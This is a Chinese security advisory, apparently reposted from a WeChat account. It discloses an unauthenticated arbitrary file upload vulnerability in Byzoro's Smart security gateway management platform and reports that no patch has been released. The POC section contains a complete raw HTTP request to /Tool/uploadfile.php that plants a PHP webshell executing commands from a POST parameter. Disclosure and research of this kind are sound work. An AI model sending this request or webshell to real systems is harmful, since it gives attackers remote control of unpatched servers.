百卓网络Smart管理平台任意文件上传漏洞

admin 2024年6月17日10:35:36评论17 views字数 1459阅读4分51秒阅读模式
0x00 漏洞编号
  • 暂无

0x01 危险等级
  • 高危
0x02 漏洞概述

Smart多业务安全网关智能管理平台是一种网络设备,它可以帮助企业规范员工上网行为、提升网络带宽利用率、避免企业信息泄露、增强网络稳定性和安全性。

百卓网络Smart管理平台任意文件上传漏洞

0x03 漏洞详情
漏洞类型:文件上传
影响:控制服务器
简述:Smart多业务安全网关智能管理平台存在文件上传漏洞,未授权的攻击者可以构造特制请求包上传恶意Webshell文件,导致远程代码执行,控制服务器。
0x04 影响版本
  • Smart多业务安全网关智能管理平台

0x05 POC

POST /Tool/uploadfile.php? HTTP/1.1Host: {{Hostname}}Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887Content-Length: 405Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close-----------------------------13979701222747646634037182887Content-Disposition: form-data; name="file_upload"; filename="contents.php"Content-Type: application/octet-stream<?phpsystem($_POST["passwd"]);?>-----------------------------13979701222747646634037182887Content-Disposition: form-data; name="txt_path"/home/src.php-----------------------------13979701222747646634037182887--
https://github.com/Beatriz-ai-boop/cve/blob/main/upload.md
仅供安全研究与学习之用,若将工具做其他用途,由使用者承担全部法律及连带责任,作者及发布不承担任何法律及连带责任。

0x06 修复建议

目前官方暂未发布漏洞修复版本,建议用户关注官网动态
https://byzoro.com/

原文始发于微信公众号(浅安安全):漏洞预警 | 百卓网络Smart管理平台任意文件上传漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日10:35:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   百卓网络Smart管理平台任意文件上传漏洞https://cn-sec.com/archives/2854887.html

发表评论

匿名网友 填写信息